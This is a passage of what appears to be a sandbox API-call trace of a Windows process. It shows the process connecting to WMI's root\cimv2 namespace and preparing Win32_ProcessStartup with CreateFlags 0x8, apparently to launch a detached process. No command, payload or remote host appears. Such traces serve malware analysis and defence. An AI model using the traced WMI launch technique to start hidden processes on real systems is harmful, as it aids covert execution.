[6]=0x0, [7]=0x46))) returned 0x0 [0077.910] WbemDefPath:IUnknown:Release (This=0x1bfa8a50) returned 0x3 [0077.910] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0077.910] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0077.910] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc300, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0077.910] WbemDefPath:IUnknown:Release (This=0x1bfbc300) returned 0x2 [0077.910] WbemDefPath:IUnknown:Release (This=0x1bfbc300) returned 0x1 [0077.910] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0077.910] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0077.910] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc300, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1bfbc300) returned 0x0 [0077.910] WbemDefPath:IUnknown:AddRef (This=0x1bfbc300) returned 0x3 [0077.910] WbemDefPath:IUnknown:Release (This=0x1bfbc300) returned 0x2 [0077.911] WbemDefPath:IWbemPath:SetText (This=0x1bfbc300, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0077.911] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc300, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0077.911] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc300, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0077.911] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc300, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0077.911] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0077.911] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0077.911] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0077.911] IUnknown:Release (This=0x111f638) returned 0x1 [0077.912] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1bfa8b50) returned 0x0 [0077.912] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa8b50, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0077.912] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bfa8b50, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1bfa8b70) returned 0x0 [0077.912] WbemLocator:IUnknown:Release (This=0x1bfa8b50) returned 0x0 [0077.912] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa8b70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1bfa8b70) returned 0x0 [0077.912] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa8b70, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0077.913] WbemLocator:IUnknown:AddRef (This=0x1bfa8b70) returned 0x3 [0077.913] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa8b70, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0077.913] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa8b70, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0077.913] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa8b70, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0077.913] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0077.913] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0077.913] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa8b70, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0077.913] WbemLocator:IUnknown:Release (This=0x1bfa8b70) returned 0x2 [0077.913] WbemLocator:IUnknown:Release (This=0x1bfa8b70) returned 0x1 [0077.913] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0077.913] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0077.913] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfa8b70, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1bfa8b70) returned 0x0 [0077.913] WbemLocator:IUnknown:AddRef (This=0x1bfa8b70) returned 0x3 [0077.913] WbemLocator:IUnknown:Release (This=0x1bfa8b70) returned 0x2 [0077.913] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc300, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0077.914] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc300, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0077.914] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc300, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0077.914] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1bfa8b90) returned 0x0 [0077.914] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bfa8b90, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bfbab80) returned 0x0 [0078.260] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfbab80, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x1bf96a20) returned 0x0 [0078.260] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf96a20, pProxy=0x1bfbab80, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0078.260] WbemLocator:IUnknown:Release (This=0x1bf96a20) returned 0x1 [0078.260] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfbab80, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x1bf96a60) returned 0x0 [0078.260] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfbab80, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bf96a20) returned 0x0 [0078.260] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf96a20, pProxy=0x1bfbab80, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0078.260] WbemLocator:IUnknown:Release (This=0x1bf96a20) returned 0x2 [0078.261] WbemLocator:IUnknown:Release (This=0x1bf96a60) returned 0x1 [0078.261] CoTaskMemFree (pv=0x1bf9a420) [0078.261] WbemLocator:IUnknown:AddRef (This=0x1bfbab80) returned 0x2 [0078.261] WbemLocator:IUnknown:Release (This=0x1bfa8b90) returned 0x0 [0078.261] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0078.261] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0078.262] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfbab80, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x1bf96a30) returned 0x0 [0078.262] WbemLocator:IRpcOptions:Query (in: This=0x1bf96a30, pPrx=0x1bfa8bf0, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0078.262] WbemLocator:IUnknown:Release (This=0x1bf96a30) returned 0x2 [0078.262] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0078.262] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0078.262] WbemLocator:IUnknown:QueryInterface (in: This=0x1bfbab80, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x1bfbab80) returned 0x0 [0078.262] WbemLocator:IUnknown:Release (This=0x1bfbab80) returned 0x2 [0078.262] SysStringLen (param_1=0x0) returned 0x0 [0078.262] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc240, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0078.262] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbc240, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0078.263] IWbemServices:GetObject (in: This=0x1bfbab80, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x116fd40, ppCallResult=0x0) returned 0x0 [0078.325] IWbemClassObject:Get (in: This=0x116fd40, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0078.325] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0078.326] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0078.326] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0078.326] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0078.326] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0078.326] IUnknown:Release (This=0x111f638) returned 0x1 [0078.329] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1bfa8b90) returned 0x0 [0078.329] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa8b90, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0078.329] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa8b90, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1bfbc3c0) returned 0x0 [0078.329] WbemDefPath:IUnknown:Release (This=0x1bfa8b90) returned 0x0 [0078.329] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc3c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1bfbc3c0) returned 0x0 [0078.329] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc3c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0078.330] WbemDefPath:IUnknown:AddRef (This=0x1bfbc3c0) returned 0x3 [0078.330] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc3c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0078.330] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc3c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0078.330] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc3c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1bfa8bb0) returned 0x0 [0078.330] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bfa8bb0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0078.330] WbemDefPath:IUnknown:Release (This=0x1bfa8bb0) returned 0x3 [0078.330] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0078.330] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0078.330] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc3c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0078.330] WbemDefPath:IUnknown:Release (This=0x1bfbc3c0) returned 0x2 [0078.330] WbemDefPath:IUnknown:Release (This=0x1bfbc3c0) returned 0x1 [0078.330] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0078.330] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0078.330] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc3c0, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1bfbc3c0) returned 0x0 [0078.331] WbemDefPath:IUnknown:AddRef (This=0x1bfbc3c0) returned 0x3 [0078.331] WbemDefPath:IUnknown:Release (This=0x1bfbc3c0) returned 0x2 [0078.331] WbemDefPath:IWbemPath:SetText (This=0x1bfbc3c0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0078.331] IWbemClassObject:Get (in: This=0x116fd40, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a90b08*=0, plFlavor=0x2a90b0c*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a90b08*=19, plFlavor=0x2a90b0c*=0) returned 0x0 [0078.331] IWbemClassObject:Get (in: This=0x116fd40, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a90b08*=19, plFlavor=0x2a90b0c*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a90b08*=19, plFlavor=0x2a90b0c*=0) returned 0x0 [0078.331] IWbemClassObject:Put (This=0x116fd40, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0078.331] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbc180, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0078.331] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0078.331] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0078.331] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0078.331] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0078.331] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0078.332] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0078.332] IUnknown:Release (This=0x111f638) returned 0x1 [0078.334] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1bfa8d50) returned 0x0 [0078.334] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfa8d50, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0078.334] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bfa8d50, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1bfbc480) returned 0x0 [0078.334] WbemDefPath:IUnknown:Release (This=0x1bfa8d50) returned 0x0 [0078.334] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc480, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1bfbc480) returned 0x0 [0078.334] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc480, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0078.335] WbemDefPath:IUnknown:AddRef (This=0x1bfbc480) returned 0x3 [0078.335] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc480, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0078.335] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbc480, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0078.335] 